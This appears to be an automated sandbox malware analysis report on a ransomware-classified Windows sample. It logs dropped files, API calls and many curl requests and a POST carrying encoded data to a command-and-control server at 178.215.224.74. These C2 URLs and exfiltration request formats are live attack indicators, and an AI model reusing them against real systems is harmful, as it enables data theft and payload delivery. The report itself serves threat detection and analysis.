HTTP traffic detected: POST /v10/ukyh.php HTTP/1.1Accept: text/*Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5Host: 178.215.224.74Content-Length: 639Cache-Control: no-cacheData Raw: 6a 73 70 6f 3d 33 34 26 6a 77 76 73 3d 34 43 41 39 36 36 33 31 35 43 43 43 37 30 46 34 42 45 46 30 46 45 33 32 32 45 44 45 34 36 26 6d 65 6c 71 3d 4d 54 41 77 4b 44 6b 79 4d 6a 45 38 4b 45 45 79 58 46 64 78 5a 33 42 78 58 6d 46 75 62 6d 64 73 63 56 78 44 63 48 42 45 59 58 52 68 58 6c 70 74 59 57 31 70 62 47 56 63 52 47 31 73 63 47 68 72 62 6b 78 31 62 33 4a 7a 58 44 41 35 4d 44 49 79 52 54 41 79 4c 7a 42 44 4d 44 49 6c 4e 6a 55 78 4f 79 38 30 4f 30 49 37 57 55 4a 66 4d 7a 49 77 4b 44 6b 34 4d 6a 73 7a 4b 48 64 70 62 6d 52 76 64 33 45 6f 5a 6d 56 6d 5a 57 78 6d 5a 58 4a 5a 51 46 30 78 4d 6a 41 69 4d 54 49 79 4d 54 41 6f 4d 54 55 36 4c 44 49 7a 4e 79 77 79 4d 6a 51 73 4f 6a 63 79 57 30 68 66 4d 7a 67 77 4b 44 4d 79 4d 6a 4d 77 4b 6a 4d 25 32 46 4d 43 77 77 4d 54 63 75 4d 6a 49 30 4c 6a 63 32 55 30 4a 64 4d 54 41 79 4b 44 45 77 4d 6a 45 78 4b 6a 4d 33 4d 43 34 77 4d 7a 55 75 4d 44 49 32 4c 44 55 30 57 55 4a 66 4d 69 6f 79 4d 6a 30 6f 51 7a 70 55 56 33 46 74 63 6e 46 65 59 32 35 6b 62 57 35 78 56 45 6c 79 63 6b 52 6a 64 47 46 63 55 6d 39 68 62 32 46 73 5a 31 78 45 62 57 35 77 61 47 74 75 52 48 56 76 63 48 74 63 59 33 68 32 64 79 78 6c 65 6d 64 5a 51 46 38 7a 4d 6a 41 71 4d 54 49 34 4d 7a 45 71 4f 54 55 36 4a 6a 49 7a 4e 79 77 77 4d 44 59 75 4e 54 78 54 51 6c 38 79 4b 44 49 77 4e 53 70 44 4f 6c 35 64 63 57 56 79 63 31 35 6a 62 47 5a 74 62 6e 4e 63 51 33 42 34 52 47 4e 32 59 56 78 51 62 32 4e 76 61 32 35 6c 58 6b 5a 76 62 48 42 71 59 57 78 45 64 57 56 79 63 56 52 34 61 6e 56 7a 4c 48 68 72 63 46 6c 49 56 54 4d 79 4d 43 67 78 4d 44 45 79 4d 79 70 42 4d 6c 35 56 63 32 56 77 63 56 78 68 62 6d 5a 76 62 6e 46 63 53 58 42 79 52 6d 46 30 59 31 78 51 62 57 4e 74 61 32 78 6c 58 45 52 76 62 6e 68 71 61 57 35 4d 64 32 39 34 63 31 35 36 61 6e 56 7a 4c 48 70 72 65 46 4e 43 58 7a 45 79 4d 43 6f 78 4d 44 41 78 4d 79 49 7a 4e 7a 67 75 4d 44 4d 31 4c 6a 41 79 4e 43 34 31 4e 46 4e 41 58 77 25 33 44 25 33 44 Data Ascii: jspo=34&jwvs=4CA966315CCC70F4BEF0FE322EDE46&melq=MTAwKDkyMjE8KEEyXFdxZ3BxXmFubmdscVxDcHBEYXRhXlptYW1pbGVcRG1scGhrbkx1b3JzXDA5MDIyRTAyLzBDMDIlNjUxOy80O0I7WUJfMzIwKDk4MjszKHdpbmRvd3EoZmVmZWxmZXJZQF0xMjAiMTIyMTAoMTU6LDIzNywyMjQsOjcyW0hfMzgwKDMyMjMwKjM%2FMCwwMTcuMjI0Ljc2U0JdMTAyKDEwMjExKjM3MC4wMzUuMDI2LDU0WUJfMioyMj0oQzpUV3FtcnFeY25kbW5xVElyckRjdGFcUm9hb2FsZ1xEbW5waGtuRHVvcHtcY3h2dyxlemdZQF8zMjAqMTI4MzEqOTU6JjIzNywwMDYuNTxTQl8yKDIwNSpDOl5dcWVyc15jbGZtbnNcQ3B4RGN2YVxQb2Nva25lXkZvbHBqYWxEdWVycVR4anVzLHhrcFlIVTMyMCgxMDEyMypBMl5Vc2VwcVxhbmZvbnFcSXByRmF0Y1xQbWNta2xlXERvbnhqaW5Md294c156anVzLHpreFNCXzEyMCoxMDAxMyIzNzguMDM1LjAyNC41NFNAXw%3D%3D

Source: azvw.exe, 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmp	String found in binary or memory: ftp://ftp.info-zip.org/pub/infozip
Source: curl.exe, 00000018.00000002.2549469870.0000000002829000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.252/v10/ukyh
Source: curl.exe, 00000018.00000002.2549469870.0000000002829000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.252/v10/ukyh.php?jspo=6
Source: curl.exe, 0000001F.00000002.2635866333.0000000002DE9000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000022.00000002.2651944321.0000000002AF9000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000031.00000002.2785207887.0000000002D29000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000037.00000002.2811327760.0000000003349000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000003A.00000002.2828321444.00000000033A9000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000045.00000002.2913367810.0000000003359000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000048.00000002.2929796324.00000000035C9000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000004E.00000002.2962664358.0000000002A09000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000051.00000002.2978809870.00000000031E9000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000057.00000002.3058564339.0000000002E49000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000060.00000002.3114079501.0000000003019000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.
Source: curl.exe, 00000022.00000002.2651944321.0000000002AF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.#
Source: curl.exe, 0000003A.00000002.2828321444.00000000033A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.%
Source: curl.exe, 00000031.00000002.2785207887.0000000002D29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.NNAME=ConsoleSh
Source: curl.exe, 00000057.00000002.3058564339.0000000002E49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.c
Source: curl.exe, 00000060.00000002.3114079501.0000000003019000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?gi
Source: curl.exe, 0000004E.00000002.2962664358.0000000002A09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?jspo=10&melq=1
Source: curl.exe, 0000003A.00000002.2828321444.00000000033A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?jspo=31
Source: curl.exe, 00000057.00000002.3058564339.0000000002E49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=UmV2ZW51ZURldml
Source: curl.exe, 00000028.00000002.2695353799.00000000031D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=YXp2dy5leGU%3D
Source: curl.exe, 00000031.00000002.2785207887.0000000002D29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D
Source: curl.exe, 0000001F.00000002.2635866333.0000000002DE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?jspo=5
Source: curl.exe, 0000002E.00000002.2734583748.0000000002BB9000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000037.00000002.2811327760.0000000003349000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000042.00000002.2875914285.0000000002EB8000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000045.00000002.2913367810.0000000003359000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000004B.00000002.2945763230.0000000002D59000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000051.00000002.2978809870.00000000031E9000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000054.00000002.3000425346.0000000003029000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000005B.00000002.3090746109.0000000002E09000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000063.00000002.3132233992.00000000034B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?jspo=6
Source: curl.exe, 00000045.00000002.2913367810.0000000003359000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?jspo=60%
Source: curl.exe, 00000037.00000002.2811327760.0000000003349000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?jspo=6Q
Source: curl.exe, 00000051.00000002.2978809870.00000000031E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?jspo=6T
Source: curl.exe, 00000022.00000002.2651944321.0000000002AF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?jspo=6c
Source: curl.exe, 00000042.00000002.2875914285.0000000002EB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?jspo=6h
Source: curl.exe, 00000048.00000002.2929796324.00000000035C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?jspo=7
Source: curl.exe, 00000048.00000002.2929796324.00000000035C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://178.215.224.74/v10/ukyh.php?jspo=7wk0
Source: file.exe, RevenueDevices.exe.10.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: file.exe, RevenueDevices.exe.10.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: file.exe, RevenueDevices.exe.10.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: file.exe, RevenueDevices.exe.10.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Finish.com, 0000000A.00000003.2079124293.0000000003B76000.00000004.00000800.00020000.00000000.sdmp, Rocky.0.dr, InnoSphere.scr.10.dr, Finish.com.1.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: RevenueDevices.exe, 00000058.00000003.3077179434.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp, Either.pif.92.dr, Disco.88.dr	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: Finish.com, 0000000A.00000003.2079124293.0000000003B76000.00000004.00000800.00020000.00000000.sdmp, RevenueDevices.exe, 00000058.00000003.3077179434.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp, Either.pif.92.dr, Rocky.0.dr, InnoSphere.scr.10.dr, Disco.88.dr, Finish.com.1.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Finish.com, 0000000A.00000003.2079124293.0000000003B76000.00000004.00000800.00020000.00000000.sdmp, Rocky.0.dr, InnoSphere.scr.10.dr, Finish.com.1.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: Finish.com, 0000000A.00000003.2079124293.0000000003B76000.00000004.00000800.00020000.00000000.sdmp, RevenueDevices.exe, 00000058.00000003.3077179434.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp, Either.pif.92.dr, Rocky.0.dr, InnoSphere.scr.10.dr, Disco.88.dr, Finish.com.1.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Finish.com, 0000000A.00000003.2079124293.0000000003B76000.00000004.00000800.00020000.00000000.sdmp, Rocky.0.dr, InnoSphere.scr.10.dr, Finish.com.1.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: RevenueDevices.exe, 00000058.00000003.3077179434.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp, Either.pif.92.dr, Disco.88.dr	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: file.exe, RevenueDevices.exe.10.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: file.exe, RevenueDevices.exe.10.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: file.exe, RevenueDevices.exe.10.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: RevenueDevices.exe.10.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: file.exe, RevenueDevices.exe.10.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: file.exe, RevenueDevices.exe.10.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: file.exe, RevenueDevices.exe.10.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, RevenueDevices.exe.10.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: file.exe, RevenueDevices.exe.10.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: file.exe, RevenueDevices.exe.10.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Finish.com, 0000000A.00000003.2079124293.0000000003B76000.00000004.00000800.00020000.00000000.sdmp, Rocky.0.dr, InnoSphere.scr.10.dr, Finish.com.1.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: Finish.com, 0000000A.00000003.2079124293.0000000003B76000.00000004.00000800.00020000.00000000.sdmp, RevenueDevices.exe, 00000058.00000003.3077179434.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp, Either.pif.92.dr, Rocky.0.dr, InnoSphere.scr.10.dr, Disco.88.dr, Finish.com.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: RevenueDevices.exe, 00000058.00000003.3077179434.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp, Either.pif.92.dr, Disco.88.dr	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: Finish.com, 0000000A.00000003.2079124293.0000000003B76000.00000004.00000800.00020000.00000000.sdmp, RevenueDevices.exe, 00000058.00000003.3077179434.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp, Either.pif.92.dr, Rocky.0.dr, InnoSphere.scr.10.dr, Disco.88.dr, Finish.com.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: Finish.com, 0000000A.00000003.2079124293.0000000003B76000.00000004.00000800.00020000.00000000.sdmp, Rocky.0.dr, InnoSphere.scr.10.dr, Finish.com.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: Finish.com, 0000000A.00000003.2079124293.0000000003B76000.00000004.00000800.00020000.00000000.sdmp, RevenueDevices.exe, 00000058.00000003.3077179434.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp, Either.pif.92.dr, Rocky.0.dr, InnoSphere.scr.10.dr, Disco.88.dr, Finish.com.1.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: RevenueDevices.exe, 00000058.00000003.3077179434.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp, Either.pif.92.dr, Disco.88.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: Finish.com, 0000000A.00000003.2079124293.0000000003B76000.00000004.00000800.00020000.00000000.sdmp, Rocky.0.dr, InnoSphere.scr.10.dr, Finish.com.1.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: Finish.com, 0000000A.00000003.2079124293.0000000003B76000.00000004.00000800.00020000.00000000.sdmp, Finish.com, 0000000A.00000000.2072323942.0000000000625000.00000002.00000001.01000000.00000007.sdmp, InnoSphere.scr, 00000010.00000000.2231353404.0000000000F05000.00000002.00000001.01000000.00000009.sdmp, RevenueDevices.exe, 00000058.00000003.3077179434.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp, Either.pif.92.dr, Rocky.0.dr, InnoSphere.scr.10.dr, Disco.88.dr, Finish.com.1.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: file.exe, RevenueDevices.exe.10.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: azvw.exe, 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmp, zip.exe.52.dr	String found in binary or memory: http://www.info-zip.org/
Source: azvw.exe, 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmp, zip.exe.52.dr, azvw.exe.10.dr	String found in binary or memory: http://www.info-zip.org/zip-bug.html;
Source: PsInfo.exe.52.dr, PsInfo64.exe.52.dr	String found in binary or memory: http://www.sysinternals.com
Source: Finish.com, 0000000A.00000003.2079124293.0000000003B76000.00000004.00000800.00020000.00000000.sdmp, RevenueDevices.exe, 00000058.00000003.3077179434.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp, Either.pif.92.dr, Rocky.0.dr, InnoSphere.scr.10.dr, Disco.88.dr, Finish.com.1.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: Finish.com.1.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: RevenueDevices.exe, 00000058.00000003.3077179434.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp, Either.pif.92.dr, Disco.88.dr	String found in binary or memory: https://www.globalsign.com/repository/06

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004050F9 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050F9

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004044D1 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044D1

Spam, unwanted Advertisements and Ransom Demands

Writes many files with high entropy

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Los entropy: 7.99768365381	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Become entropy: 7.99784070507	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Howard entropy: 7.99757648221	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Vermont entropy: 7.99725611197	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Bt entropy: 7.99648411738	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Vatican entropy: 7.9972950771	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Mental entropy: 7.99804736681	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\768032\G entropy: 7.99966998402	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	File created: C:\Users\user\AppData\Local\InnoSphere Dynamics\l entropy: 7.99966998402	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com	File created: C:\Users\user\AppData\Roaming\DolphinDumps\xhwq.zip entropy: 7.99812683975	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	File created: C:\Users\user\AppData\Local\Temp\Showcase entropy: 7.99817987302	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	File created: C:\Users\user\AppData\Local\Temp\Parts entropy: 7.99745443978	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	File created: C:\Users\user\AppData\Local\Temp\Bailey entropy: 7.99784242676	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	File created: C:\Users\user\AppData\Local\Temp\Samples entropy: 7.99803767944	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	File created: C:\Users\user\AppData\Local\Temp\Considerations entropy: 7.99749833976	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	File created: C:\Users\user\AppData\Local\Temp\Shepherd entropy: 7.99642551519	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	File created: C:\Users\user\AppData\Local\Temp\Eight entropy: 7.99641122578	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	File created: C:\Users\user\AppData\Local\Temp\Norman entropy: 7.99777953585	Jump to dropped file

Source: curl.exe	Process created: 51
Source: cmd.exe	Process created: 60

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Writes or reads registry keys via WMI

Source: C:\Windows\SysWOW64\systeminfo.exe

WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004038AF EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,		0_2_004038AF
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Code function: 88_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,		88_2_00403883

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\ThouRevolution	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	File created: C:\Windows\TmpMoon
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	File created: C:\Windows\NotifiedAaron
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	File created: C:\Windows\BrushSub
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	File created: C:\Windows\McLol

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040737E	0_2_0040737E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00406EFE	0_2_00406EFE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004079A2	0_2_004079A2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004049A8	0_2_004049A8
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 52_2_00408850	52_2_00408850
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 52_2_0040C820	52_2_0040C820
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 52_2_00403490	52_2_00403490
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 52_2_00411170	52_2_00411170
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 52_2_0040E900	52_2_0040E900
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 52_2_0040CE49	52_2_0040CE49
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 52_2_0040CE50	52_2_0040CE50
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 52_2_00402210	52_2_00402210
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 52_2_00408EC0	52_2_00408EC0
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 52_2_00417EE3	52_2_00417EE3
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 52_2_00402EF0	52_2_00402EF0
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 52_2_0040F280	52_2_0040F280
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 52_2_00409FD0	52_2_00409FD0
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: 52_2_004093E0	52_2_004093E0
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Code function: 88_2_0040497C	88_2_0040497C
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Code function: 88_2_00406ED2	88_2_00406ED2
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Code function: 88_2_004074BB	88_2_004074BB

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\InnoSphere Dynamics\InnoSphere.scr 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 004062CF appears 57 times
Source: C:\Users\user\AppData\Local\Temp\RevenueDevices.exe	Code function: String function: 004062A3 appears 58 times
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: String function: 00412920 appears 282 times
Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe	Code function: String function: 00406640 appears 48 times

Source: file.exe

Static PE information: invalid certificate

Source: PsInfo.exe.52.dr	Static PE information: Resource name: BINRES type: PE32 executable (console) Intel 80386, for MS Windows
Source: PsInfo64.exe.52.dr	Static PE information: Resource name: BINRES type: PE32+ executable (console) x86-64, for MS Windows

Source: file.exe, 00000000.00000002.2037421930.00000000006E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000000.00000003.2036612746.00000000006E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.rans.spre.expl.evad.winEXE@323/65@3/2

Source: C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe

Code function: 52_2_00412830 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,LookupPrivilegeValueA,GetLastError,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,CloseHandle,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,CloseHandle,

52_2_00412830

Source: C:\Users\user\Desktop\file.exe

0_2_004044D1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\AppData\Local\Temp\768032\Finish.com

File created: C:\Users\user\AppData\Local\InnoSphere Dynamics

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1772:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2364:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6676:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6508:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4320:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1440:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3208:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4824:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1536:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3536:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6660:120:WilError_03
